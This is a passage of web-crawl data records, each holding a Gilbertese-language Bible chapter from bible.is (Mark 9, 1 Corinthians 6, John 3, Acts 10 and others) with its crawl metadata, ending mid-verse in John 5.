reservados","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.lds.org\/general-conference\/print\/2013\/04\/welcome-to-conference?lang=spa&clang=gil","date":"2013-12-21T23:48:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1387345776447\/warc\/CC-MAIN-20131218054936-00063-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":707,"character_repetition_ratio":0.065,"word_repetition_ratio":0.066,"special_characters_ratio":0.219,"stopwords_ratio":0.383,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao E a manga taku riki Iesu, E koaua ae I a tuangkami bwa iai ikai aomata aika a na aki mate ni karokoa ae a a tia n noora uean te Atua bwa e roko ma te mwaaka. 2I mwiin onobong, ao Iesu, E kaira Betero ma Iakobo ma Ioane nako aon te maunga ae e rietaata, ao a tiku iai n ti ngaiia. A noora Iesu bwa e bitaki taraana, 3ao a taraa ni mainaina n raneanea kunnikaina—te aeka ni mainaina ae e raka riki aroni mainainana nakon are e konaa n reke iroun te tia kamainaina kunnikai i aonnaba. 4Ao ngkanne, a kaoti i mataia Eria ma Mote; a taetaenikawai ma Iesu. 5Ao e taetae Betero ao e taku nakon Iesu, Te Tia Reirei, ai raoiroi ra bwa ae ti a mena ikai! Ti na karaoi umwanrianna aika tenua, bwa teuana i bukim, ao teuana ibukini Mote, ao teuana ibukin Eria. 6E taekina aei bwa a rangi ni maaku, ao e aki ataa te bwai ae e riai n taekinna. 7Ao e kaoti te nang, ao e bwaka nuuna i aoia. E roko te bwanaa man te nang a e kaangai, Natiu Teuaei, ae E tangiraki irou; kam na ongo irouna. 8A waetata naba ngkekei n taratara nako, ma akea temanna ae a nooria riki i rarikiia, bwa ti Iesu n ti Ngaia. 9Ngke a tabe n ruo rikaaki mai aon te maunga, ao E kairoroiia bwa a na aki tuanga temanna taekan te bwai are a a tia n nooria ni karokoa E a tia ni manga maiu man te mate Natin te Aomata. 10A ira nanon ana taeka, ma e titiku te titiraki i nanoia a e kaangai, bwa tera nanon te manga-maiu man te mate. 11Ao a titirakinna ni kaangai, E aera ngkae a taku taani koroboki bwa e riai moani kaoti Eria? 12Ao E taku nakoia, E na bon roko moa Eria bwa e na katauraoi bwaai ni kabane. Ma e aera ngkae e koreaki n te Baibara bwa e na kabatiaaki karawaawataan Natin te Aomata, ao E na ribaaki? 13I tuangkami bwa e a tia n roko Eria; ao aomata, a karaoa are a tangiria bwa a kani karaoia nakoina, n ai aron are e taekinaki ibukina n te Baibara. 14Ngke a roko reirei ake temwaangina irouia, ao a nooriia aomata aika a rangi ni bati i rarikiia, ma taani koroboki, bwa a kauntaeka ma ngaiia. 15Ao ngke a noora Iesu aomata, ao a bane ni kuba, ao a biri nakoina ni kamauria. 16Ao E kaekaia Iesu ni kaangai, Tera ae kam kauntaekaia ma ngaiia? 17E kaeka temanna mai buakoia te mwaiti n aomata arei, ao e taku, Te Tia Reirei, I a nikira natiu iroum, bwa e taniaki iroun te taamnei ae e kamwaraa ao e aki konaa n taetae; 18ike e taniaki iai irouna, ao e bouaia i aontano, ao ngaia e kabungibaware ao e katiki mwangaina, ao e tikinono rabwatana. I tuangiia am reirei bwa a na kanakoa mai irouna, ma a aki konaa. 19E taku Iesu nakoia, Te bootanaomata ae akea ana onimaki; tao maan ra ae N na titiku iai i rarikimi? Ao tao maan ra taotaonakin nanou nakoimi? Uota mai te teinimwaane nakoiu. 20A kairia nakon Iesu. N te tai naba are e noora iai Iesu te taamnei are e kamwaraa, ao e karaoa ae e riki ni kaatikitiki iai te teinimwaane arei, ao e bwaka i aontano n rabinobino ma wiina ae e kabungibaware. 21Ao Iesu, E titirakina taman te teei ni kaangai, Maan ra te tai ae e reke irouna iai aei? Ao ngaia e taku, Ma ngke e uarereke. 22A mwaiti ana tai te taamnei ae e kamwaraa aei ni kan tiringnga ngke e kataia n tewea nako nanon te ai ao nako nanon te ran. Ko na nanoangaira ao buokira ngkana Ko boni konaa Ngkoe. 23E taku Iesu nakoina, Ngkana ko boni konaa ngkoe! A konaaki bwaai nako iroun ane e onimaki. 24N te tai naba arei, ao e takaarua taman te teei ao e taku, Iai au onimaki, ma e aki tau. Buokai bwa e na kamwaitaki riki. 25Ao Iesu, ngke E nooriia aomata aika a mwaiti bwa a bane ni biri, ao E takua te taamnei are e kamwaraa, ao E taku nakoina, Te taamnei ae ko babanga taetae ao ko bonotaninga, I tuangko bwa ko na oti nako mai irouna, ao ko na aki manga rin riki i nanona. 26I mwiini karikan te teei iroun te taamnei are e kamwaraa arei bwa e na takaarua ao e na kaatikitiki n te aro ae e kaakaiaki, ao e oti nako mai irouna, ao e riki te teei bwa kaanga ai aron taraan te mate; ma ngaia are a taku mwaitiia aomata, E a mate. 27Ma Iesu, E taua baina ao E kateirakea, ao ngaia e tei rake. 28Ngke E rin nako nanon te auti Iesu, ao a titirakinna ana reirei ngke ti ngaiia, ao a kaangai, E aera ngke ti aki konaa ni kanakoa te taamnei are e kamwaraa arei? 29E taku nakoia, Te bwai ae ai aron aei, e aki konaaki ni kanakoaki n te aro teuana bwa ti n te tataro. 30Ao E kiitana te tabo arei Iesu ma ana reirei, ao a mwananga nako n ri nuukani Kariraia. E aki tangira temanna bwa e na ataa te tabo are E mena iai, 31ibukina bwa E reireiia ana reirei n taeka aika a kaangai: E nang kamwaneaki Natin te Aomata nako nanoni baiia aomata, ao a na tiringnga; ao ngkana E mate, ao E na manga maiu i mwiin tenibong. 32Ma a aki ataa nanon ana taeka n reirei, ao a maaku n titirakinna. 33A roko i Kaberenaum, ao ngke a mena i nanon te auti, ao Iesu E titirakiniia ana reirei ni kaangai, Tera te bwai are kam kauntaekaia n te kawai? 34A aki kaeka Iesu, ibukina bwa i aoni kawaia ao a a tia ni kauntaeka i marenaia bwa antai te kabanea ni kakannato i buakoia. 35E tekateka Iesu, ao E weteiia ana reirei ake tengauni ma uoman, ao E taku nakoia, Ane e kan riki ni moani bwai ao ke e karikia bwa te kabane ao te toro irouia aomata nako. 36Ao ngkanne, E anaa te teei ao e kaaki i mataia. E kaaki baina ni mwaneia mai akuuna, ao E taku nakoia, 37Ane e mwanea n aakoa te teei temanna mai buakoia ataei aikai i nanon Arau, ao e mwaneai n aakoai; ao ane e mwaneai n aakoai, ao e aki mwaneai n ti Ngai, ma e mwanea n aakoa naba Teuare e kanakomaiai. 38E taku Ioane nakoina, Te Tia Reirei, ti a tia n noora teuae kanakoia taimonio n Aram, ao ti tuangnga bwa e na aki manga karaoia ibukina bwa tiaki raora. 39Ma E taku Iesu nakoia, Tai katokia; bwa akea ane e karaoi mwakuri aika a mwaaka n Arau ae e na tabeki taeka ni kabuaakakaai i nanon taai aika rimwi. 40Bwa ane e aki ekira nako, ao bon raora. 41I koaua raoi n au taeka aei nakoimi, bwa ane e anganingakmi te mwangko n ran bwa kam na mooi iai ibukin ae kam ingoanaki n Arau, ao e na boni karekea kaniwangana. 42Ane e kaira temanna i buakoia aika a uarereke aikai, aika a onimakinai, nakoni karaoan te bure, ao e raoiroi riki nakoina bwa e na katineaki te atiibu ae e rawaawata i roroana, ao e na teweaki nako i tari. 43Ao ngkana e kairiko baim teaina nakoni karaoan te bure, ao koreia, kaaki; bwa e raoiroi riki rinim n te maiu ma baim teaina ae akea nakon ae ko nako Keenna ma baim aika uaai nakon te ai are e aki maamate. 45Ao ngkana e kairiko waem teaina nakoni karaoan te bure, ao koreia, kaaki; bwa e raoiroi riki rinim n te maiu ma waem teaina ae akea nakon ae ko karenakoaki nako Keenna ma waem aika uaai. 47Ao ngkana e kairiko matam teuana nakoni karaoan te bure, ao autia, kaaki; bwa e raoiroi riki nakon ae ko kaawakini matam aika uoua ao ko karenakoaki i Keenna, 48ike e aki maamate iai te ino, ao e aki maamate naba iai te ai. 49A na bane aomata nako ni kataaki ri nanon te karawaawataaki. 50E raoiroi te taoro, ma ngkana e a bane taorona, ao ko na iranna ni karaoia bwa e na manga reke taorona? Bwaina te taoro n i-raorao i marenami, ao kam na maeka ma te rau i marenami.\nMAREKO 9","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Mark\/9","date":"2013-12-11T16:01:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164038538\/warc\/CC-MAIN-20131204133358-00034-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1414,"character_repetition_ratio":0.05,"word_repetition_ratio":0.011,"special_characters_ratio":0.241,"stopwords_ratio":0.46,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngkana iai tangin temanna iroun raona, ao e aera bwa e na uotia nakon te kaboowi ae e kaainaki irouia taani bure, bwa e na motikaki taekana iai, ao e aki uotia nakoia ake a itiaki? 2Kam aki ataiia ake a itiaki bwa a nangi motika taekan aonnaba? Ao ngkana kam nangi motika taekan aonnaba, ao kam na aki konaa ngkanne ni motiki-taekan taian tangitang aika a uarereke? 3Kam aki ataira bwa ti nangi motiki-taekaia anera? Ao ngkana ngaia aei, ao tiaki bwa e a moamoa riki iroura bwa ti na motiki-taekani bwain te maiu aei? 4Ma ngaia ae ngkana e mena iroumi motikan taekani bwain te maiu aei, ao e aera bwa kam na uoti aeka n tangitang akanne nako mataia aomata aika akea warekaia n te ekaretia bwa a na motiki-taekaia? 5I taekina aei bwa kam aonga ni mamaa. E koaua bwa bon akea temanna ae e rabakau i buakomi ae e konaa ni karekea te baaire ae e raoiroi i marenaia raona n onimaki, 6nakon ae e uota tangina anne nakon te kaboowi ao e tei ma te aomata are e tang ibukina, bwa e na motikaki taekana irouia aomata aika tiaki kaain te ekaretia? 7Ngkana e koaua bwa bon iai tangin temanna ibukin temanna, ao kaotana ngkanne bwa iai kabwakaami. Kam aera ngkai kam aki kataua te mwakuri ae e buaakaka ae e karaoaki nakoimi? Kam aera ngkai kam aki katau mwaamwanaakimi? 8Ma boni ngkami aika kam karaoi mwakuri aika a bubuaka, ma mwakuri ni mwaamwanaa-te-aba; ao kam boni karaoi nakoia raomi n onimaki. 9Kam ataiia aomata aika a buaakaka bwa e aki reke irouia uean te Atua? Kam na tai kababaingkami; e aki reke uean te Atua irouia taani wene ni bure, ma taan taromauri bouananti, ma aomata aika a aki kakaonimaki nakon aia berita ni mare, ma mwaane aika a baka ni kan aine, ma mwaane aika a bure ma mwaane, 10ma taan ira, ma akana mataai ni kani bwaibwai, ma akana bwaina te mamanging, ma taan taetae n iowawa, ma taan anai bwaai n te aro n iowawa. E aki konaa n reke uean te Atua irouia aomata aika ai aroia aikai. 11Ao akanne anuani maiuia ngkoa temwaangina i buakomi. Ma kam a tia n tebokaki; kam a katabuaki bwa ana bwai te Atua, ao a a tia ni kaetaki aromi n reitaki ma te Atua n aran ara Uea are Iesu, ao iroun naba Taamnein Atuara. 12E taku ana taeka temanna, Akea tuau ngkana I karaoi bwaai nako. Eng; ma a aki bane ni manena i bukim. I konaa ni kaangai, bwa akea tuau ngkana I kani karaoi bwaai nako, ma akea te bwai teuana ae e na tautaeka i aou. 13Ao temanna e taku, Te amwarake ibukin te biroto, ao te biroto ibukin te amwarake; ma te Atua E na kamaunai ni kauoua. Bwa te rabwata tiaki ibukin te wene ni bure, ma bon ibukin te Uea; ao te Uea ibukin te rabwata. 14E a manga kamaiuaki te Uea mai buakoia maate iroun te Atua, ao E na boni kamaiuira naba ni mwaakana. 15Kam aki atai rabwatami bwa bwain rabwatani Kristo? I a anai bwain rabwatani Kristo ni karaoi bwa bwain rabwatan te kabekaau? I bon aki kona! 16Kam aki ataa te aomata ae e nim ma te kabekaau bwa kaanga te manna n aomata ngaia ma ngaia? Bwa e kaangai taekana are e koreaki, A na riki bwa kaanga te manna n aomata naka uoman. 17Ma te aomata ae e nim ma te Uea ao kaanga ai aron ae ti teuana taamneiia. 18Kam na biri nako man te wene ni bure. Buure nako aika e karaoi te aomata a mena i tinanikun te rabwata; ma ane e wene ni bure ao e bure nakon oin rabwatana. 19Kam aki atai rabwatami bwa ana umwantabu te Taamnei are e Raoiroi, are e maeka i nanomi, are e reke iroumi mai iroun te Atua? Ai tiaki ami bwai ngkami. 20Bwa kam kabooaki, ao e a tia ni bwaka boomi; kam na neboa te Atua n rabwatami.\n1 KORINTO 6","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/6","date":"2013-12-09T10:49:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163961998\/warc\/CC-MAIN-20131204133241-00075-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":674,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.421,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ROM 5:22are E a tia ni karekea angara n te onimaki bwa ti na roko i nanon te aakoaki aei, ae ti mena iai ngkai; ao ti kakatonga ni kaantaningaan te neboaki ma te Atua. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/5\/2","date":"2013-12-09T06:49:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163930735\/warc\/CC-MAIN-20131204133210-00070-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000023842,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.000002384185791}","num_words":50,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.4,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Iai temanna te aomata ae raoia Bwaritaio, ae arana Nikotemo; ngaia naba aia mataniwi I-Iutaia. 2E nako n Iesu n te tairiki teuana, ao e taku nakoina, Te Tia Reirei, ti ataiko bwa te tia reirei ae Ko nako mai mai iroun te Atua: bwa e aki konaa te aomata ni karaoi mwakuri aika a kamiimii aika Ko karaoi, ngkana E aki mena irouna te Atua. 3E kaeka Iesu ao E taku, Bon te koaua ni koaua ae I a tuangko bwa ngkana e aki manga bungiaki te aomata, ao e aki konaa n noora uean te Atua. 4E taku Nikotemo nakoina, E na kangaa ni manga moani bungiaki te aomata ngkana e a kara? E konaa ni manga rin i nanoni biroton tinana bwa e na manga bungiaki? 5E taku Iesu, Bon te koaua ni koaua ae I a tuangko, bwa ngkana e aki bungiaki te aomata n te ran ma te Taamnei, ao e aki konaa n rin n uean te Atua. 6E riki te maiu n rabwata iroun te aomata mai irouia ana karo, ma maiuna n taamnei e riki mai iroun te Taamnei. 7Tai miimii n au taeka are e kaangai nakoim, Kam riai ni manga bungiaki. 8E kare te ang nakon te tabo are e kani kare nako iai; ko ongo karongoaana, ma ko aki ataa te tabo are e kare maiai, ao te tabo are e nako iai. Aei aroia naba aomata nako ake a bungiaki iroun te Taamnei. 9E kaeka Nikotemo ao e taku nakoina, E na kangaa n riki ae ai aron aei? 10E kaeka Iesu ao E taku nakoina, Te tia reirei ngkoe i buakoia Iteraera, ao ko aki atai naba baikai? 11Bon te koaua ni koaua ae I a tuangko: bwa ti taekina ae ti ataia, ao ti kaota ae ti nooria; ao kam aki kaaki i nanomi ara rongorongo. 12Ngkana I tuangkami bwain aon te aba, ao kam aki kakoauaai iai, ao kam na kangaa ni kakoauaai ngkana I tuangkami bwaini karawa? 13Akea te aomata ae e rierake nako karawa, ma bon ti Teuae ruo mai karawa, ae Natin te Aomata. 14Bwa aroni Mote ngke e katokaa te naeta are te buraati i tabon te kai are e kateia rake i nanon te rereua, ao ai aron naba are e na karaoaki nakon Natin te Aomata, 15bwa e aonga n reke iroun ane e onimakinna te maiu are e aki toki. 16Bwa E tangira aonnaba te Atua n te aro are E anga natina ae te rikitemanna iai, bwa e aonga n aki mate ane e onimakinna, ma e na reke irouna te maiu are e aki toki. 17Bwa E aki kanakoa Natina te Atua nako aon te aba bwa E na motika taekana, ma E kanakoa bwa e na kamaiuaki te aba irouna. 18Ane e onimakinna ao e aki motikaki taekana; ma ane e aki onimakinna, ao e motikaki taekana ibukina bwa e aki onimakina aran Natin te Atua ae te rikitemanna. 19Ao aio te bwai ae e motikaki taekan te aba iai: bwa e a roko te oota i i aon te aba, ao aomata a tangira riki te roo nakon te oota, ibukina ngkai a bubuaka aia mwakuri. 20Bwa ane e kaakaraoa ae e buaakaka ao e ribaa te oota, ao e aki nako n te oota, bwa a kaawa ni kaotaki ana mwakuri bwa a bubuaka. 21Ma ane e bwaina te koaua ao e nako n te oota, bwa a na kaotaki ana mwakuri bwa a karaoaki ma te ongeaaba nakon te Atua. 22I mwiini baikekei ao E nako Iesu ma ana reirei nakon te aba are Iutaia, ao E tiku iai ma ngaiia, ao E bwabwaabetiito. 23E bwabwaabetiito naba Ioane i Ainon are e kaani ma Tarim, bwa e bati te ran iai. A roko aomata ao a bwaabetitooaki irouna. 24E karaoa aei Ioane i mwaaini kainana i nanon te karabuuti. 25A kauntaeka ana reirei Ioane ma te I-Iutaia temanna ibukini katein aia Aro are e kaeti ma aron te kaitiaki. 26A roko iroun Ioane ao a kaangai nakoina, Te tia reirei, ko noora Teuare e mena ma ngkoe i mainikun Ioretan, are ko tataetae ibukina? Ae mena ngkai ikai ni bwabwaabetiito, ao a bane aomata n nakoina. 27E kaekaia Ioane ao e taku, Akea te bwai ae e konaa n riki nakon te aomata, ma ti ngkana E karaoia te Atua bwa e na riki. 28Bon taani kakoaua ngkami i bukiu n au taeka ake a kaangai, Tiaki te Kristo ngai, ma I kanakoaki n ri moana. 29Teuare e mena irouna te aine ae e a tibwa iein, ao bon te tia iein; ao raraon te tia iein are te mwaane, e teitei ao e rangi ni kimwaareirei ngke e ongo bwanaan te tia iein. Ao aei bukin ae I rangi ni kimwaareirei iai. 30E riai n rikirake kakannatona, ao kakannatou e na keerikaaki. 31Teuare e nako mai karawa E kakannato riki nakoia aomata ni kabaneia. Ane e nako mai aon te aba, ao boni kaain aon te aba, ao e taekini bwain aon te aba; ma Teuare e nako mai karawa e kakannato riki nakoia aomata ni kabaneia. 32E riki Ngaia bwa te tia kakoaua nakoni baike E a tia n noori ao n ongo, ma akea ae e butimwaaea ana rongorongo. 33Ane e butimwaaea ana rongorongo ao e kaotia ae e kakoauaa bwa E koaua te Atua. 34Bwa Teuare E kanakoa te Atua ao boni Ngaia ae E taekin ana taeka te Atua, ibukina bwa E anganaki te Taamnei iroun te Atua n aki tiatianaki. 35E tangira te Nati te Tama, ao E a tia ni kaaki bwaai ni kabane i aani mwaakana. 36Ane e onimakina te Nati ao e reke irouna te maiu are e aki toki; ao ane e aki ongotaeka nakon te Nati, ao e na aki reke irouna te maiu, ma e meemena unin te Atua i aona.\nIOANE 3","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/John\/3","date":"2013-12-05T13:13:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163045148\/warc\/CC-MAIN-20131204131725-00042-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":982,"character_repetition_ratio":0.051,"word_repetition_ratio":0.015,"special_characters_ratio":0.242,"stopwords_ratio":0.467,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Iai te aomata temanna i Kaitareia, ae arana Korenerio, ae mataniwiin te taanga ni buaka teuana ae tebubua kaaina, are e aranaki bwa te taanga ni buaka mai Itare; 2e kakaonimaki Korenerio nakon ana kaantaninga te Atua, ao e rangi ni karinea te Atua, ti te bo arona ma kaain anna utu; e aki toki n angaangabwaai n tituaraoi, ao e bwaina te taatataro nakon te Atua. 3Ngke tao te aoa teniua n te tanimaeaontaai, ao kaanga ae e kamiiaki: e noora raoi ana anera te Atua bwa e rin n te tabo are e mena iai, ao e kaangainakoina, Korenerio! 4Ao ngaia e kamwataua taraana ma te maaku ae e bati, ao e taku, Te uea, tera? Ao e kaeka te anera, ao e taku, E kukurei te Atua iroum n am tataro, ao n am bwai nako n tituaraoi, ao E ongo iroum. 5Ko na kanakoia aomata ngkai nako Iobe, bwa a na kaira mai Timon temanna are arana teuana Betero; 6e maeka iroun Timon are te tia karaoi bwaai mani kunin te man, are e mena ana auti i rarikin tari. 7Ngke e nako te anera are e taetaenakoina, ao ngaia e weteiia uoman mai irouia taani mwakuri n ana auti, ao temanna mai irouia ana tautia ake a buobuokiia, ae e kakaonimaki nakon ana kaantaninga te Atua, 8ao e kabwarabwarai bwaai ni kabanenakoia, ao e kanakoia nako Iobe. 9Ngke e a ingabong, ngke a mwananga i aoni kawaia ao a kaania te kaawa, ao e rierake Betero nako aon taubukin te auti bwa e na tataro iai, tao e a tawanou. 10E taonaki n te baki, ao e kan amwarake; ao ngke a kume raona ni katauraoa te amwarake, ao ngaia kaanga e kamiiaki: 11e noora karawa bwa e kaukaki, ao te bwai teuana ae ruo, ae kaanga ai aron taraan te rabuna ae e abwaabwaki, ae e bae tabona ma tabona ni maninganingana ake aua, ao e nnaaki rikaaki nako aontano; 12ao a bane ni mena i nanona manin aonnaba aika kakaeai waeia, ma maan aika a kawakawa, ma mannikiba. 13E roko irouna te bwanaa ae e kaangai, Betero, tei rake, tiring, ao kaang. 14Ma e taku Betero, Te Uea, I aki kona; bwa I tuai ni kana te bwai teuana ae e aki itiaki ke ae e kamwaraa. 15Ao e a manga roko naba irouna te bwanaa arei, ao e kaangai, Ane E kaitiakia te Atua, ao tai atongnga ngkoe bwa e aki itiaki. 16Teniua ana tai n roko te bwanaa arei, ao e a waekoa naba ni katikaki rake nneni bwaai akekei nako karawa. 17Ngke e tabe Betero ni miimii n ana iango bwa tera nanon te baere kaanga te mii are e nooria, ao akea bwa a tei i rarikini mataroan te kawai n rin n ana auti Timon aomata ake a kanakoaki irouni Korenerio, bwa a a tia n ataa nnen ana auti. 18A weewete ao a titiraki bwa e mena ikekei Timon are arana teuana Betero, ke e aki. 19Ao ngke e tabe Betero n iangoia bwa tera nanon te baere kaanga te mii arei, ao e taku te Taamneinakoina, Noria, a ukoukoriko teniman te aomata; 20ma an tei rake, ao ruo n iriia n aki nanokokoraki teutana, bwa boni Ngai ae I kanakomaiia. 21Ao e ruo Betero nakoia aomata akekei, ao e kaangai, Norai, boni ngai te aomata are kam ukoukoria. Tera bukin rokomi? 22Ao ngaiia a kaangai, Teuare Korenerio, are mataniwiin te taanga ni buaka are tebubua kaaina, ae te aomata ae e raoiroi, ae e rangi ni karinea te Atua, ae e kakamoamoaaki arona irouia I-Iutaia ni kabaneia bwa te aomata ngaia ae e raoiroi, e tuangaki iroun ana anera te Atua bwa e na kaoko nakon ana auti bwa e na ongoraa n taeka mai iroum. 23E kariniia ngkanne uaakekei Betero, ao e katikuia irouna. Ngke e a ingabong ao e katauraoia Betero, ao e iriia; iai taari tabemwaang aika I-Iobe ake a ira Betero. 24Ao ngke e a manga ingabong ao a roko i Kaitareia. E a kamani bootiia ana buu Korenerio ma raraona ake e rangi n reitaki ma ngaiia, ao a tiku ni kakaantaninga rokoia. 25Ma ngaia are ngke e nangi rini Betero, ao e butimwaaia Korenerio ni bwaka i rarikini waena, ao e bobaraaki ni kaota karineana ae moan te bati. 26Ma e kateirakea Betero, ao e kaangai, Tei rake, bon te aomata naba ngai. 27Ngke e kume n taetae Betero ma Korenerio ao e rin, ao e nooriia aomata bwa a bootaki, 28ao e takunakoia, E ataaki iroumi bwa e aki riai n taekan te tua, bwa te aomata ae te I-Iutaia e na i raorao ma kaain te aba teuana, ke e na kawaria; ma E a tia te Atua ni kaotianakoiu bwa akea te aomata temanna ae N na atongnga bwa e aki itiaki ke e kamwaraa. 29Ma ngaia ae I a roko bwa kam kaoai, ao I aki rawa. I a kan ataia ngkanne mai iroumi, bwa tera bukini kaoau iroumi. 30Ao e taku Korenerio, Tao n te tai naba aei teniua te bong n nako, ao I tabe n tataro n au auti n te aoa teniua n te tanimaeontaai, ao akea bwa e tei te aomata temanna i matau ma kunnikaina ae e raneanea, 31ao e kaangai, Korenerio, E ongo am tataro te Atua, ao a ururingaki am mwakuri n tituaraoi i matana. 32Ma ngaia ae ko na kanakoia aomata nako Iobe ni kaoa Timon, are arana teuana Betero; e maeka n ana auti Timon, ae te tia karaoi bwaai mani kunin te man, ae e tei ana auti i rarikin tari. 33Ma ngaia are I a kanakoia naba aomatanakoim; ao iai nanom ae e raoiroi bwa ko roko. Ma ngaia ae ti bane ni mena ikai i matan te Atua, bwa ti na ongoraa ni bwaai ni kabane ake ko tuangaki mai iroun te Uea. 34Ao e kaurea wiina Betero, ao e taku, I ataia bwa bon te koaua bwa E aki nanonano te Atua; 35ma E kukurei iroun ane iai irouna karineana ae moan te bati, ao e kaakaraoa ae e raoiroi, e aoria bwa kaain te bootanaomata ra ngaia. 36Kam ataa te taeka are E kanakoa te Atua nakoia te bootanaomata ae Iteraera, are taekan euangkerion te raoi i nanon Iesu Kristo, are aia Uea aomata ni kabaneia; 37arei te taeka are e karakinaki i aon Iutaia ni kabutaa, ni moa mai Kariraia i mwiin te bwaabetiito are e tataekinna Ioane: 38bon taekan aron te Atua ngke E rinea Iesu are te I-Natareta, ao E kaonna n te Taamnei are e Raoiroi ma te mwaaka; are E nakonako ni kaakaraoa ae e raoiroi, ma ni kamaiuiia akana a bwainikiriinaki iroun te riaaboro, bwa E meemena te Atua irouna. 39Ao bon taani kakoaua ngaira nakoni bwaai ni kabane ake E karaoi i abaia I-Iutaia, ao i Ierutarem. Ao a tiringnga ngke a tauria n te kai. 40Bon aei Teuare E a manga kamaiua te Atua n te kateni bong, ao E kanakoa bwa E na kaotia; 41E aki kaotia nakoia aomata ni kabaneia, ma E kaotia tinakoira, ngaira aika a taani kakoaua aika ti a kaman rineaki iroun te Atua, aika ti amwarake ao ti mooi ma Ngaia i mwiini maiuna mai buakoia maate. 42Ao E tuangiira bwa ti na tataekina te euangkerio nakoia aomata, ao ti na kaotiotia bwa boni Ngaia are e rineaki iroun te Atua bwa te tia motiki-taekaia akana a maiu ma akana a mate. 43A bane buraabeti ni kaotiota taekan Iesu, bwa ane e onimakinna ao e na reke irouna kabwaraan ana bure n arana. 44Ngke e kume n taetae Betero, ao E ruo te Taamnei are e Raoiroi i aoia aomata ni kabaneia ake a ongoraa n ana taeka te Atua. 45A miimii I-Iutaia ake a onimakina Iesu, ake raoni Betero n roko mai Iobe, bwa E nurakina naba te bwai n tituaraoi are te Taamnei are e Raoiroi te Atua i aoia aomata aika tiaki I-Iutaia; 46bwa a ongo irouia ngke a taetae n taetae aika a aki ataaki nanoia, ao ngke a neboa te Atua. 47E kaekaia ngkanne Betero, ao e taku, E a reke irouia aomata aikai te Taamnei are e Raoiroi n ai arora naba. Iai tuukaia bwa a na aki konaa ni bwaabetitooaki n te ran arei? 48Ao e tua Betero bwa a na bwaabetitooaki n aran Iesu Kristo. A butiia ngkanne Betero bwa e na tiku irouia tabe bong.\nMWAKURI 10","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/10","date":"2013-12-12T19:49:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164695251\/warc\/CC-MAIN-20131204134455-00046-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1408,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.457,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1I mwiin te bwai are E karaoia Iesu, ao E nako Ierutarem ibukin aia bootaki teuana ae e kakaawaki I-Iutaia. 2Iai i Ierutarem, i rarikin aia mataroa tiibu, te nei ae e aranaki n te taetae n Ebera bwa Beteteta ae iai taabo aika nimaua iai aika a rabunaki aoia ibukin te katantan. 3A wene n taabo aikai aoraki aika a bati; iai naba i buakoia aika a mataki ma aika a mwauku, ao aika a mate bwain rabwataia. 5Iai temanna i buakoia aoraki akekei ae ai tenibwi ma wanua ana ririki n aoraki. 6E nooria Iesu ni wene ikekei, ao E ataia bwa e a tia ni weneakina aorakina n te tai ae e rangi ni maan; ma ngaia are E taku nakoina, Ko kani kamaiuaki? 7E kaeka teuarei ao e taku, Teuaei, Akea ikai te aomata ae e na karuoai i nanon te nei ngkana e kakoburakeaki te ran; bwa ngkana N nangi roko iai, ao e ruo temanna n ri moau. 8E taku Iesu nakoina, Tei rake, tabeka nnem ni wene, ao nakonako. 9E kamaiuaki naba ngkekei te aomata arei; e tabeka nnena ni wene, ao e nakonako. Bon te taabati te bong arei. 10Ma ngaia are a taku I-Iutaia nakon teuare e kamaiuaki, Te taabati aei, ao e aki riai bwa ko na tabeka nnem ni wene. 11Ao e kaekaia ni kaangai, E tuangai Teuare e kamaiuai ni kaangai, Tabeka nnem ni wene ao 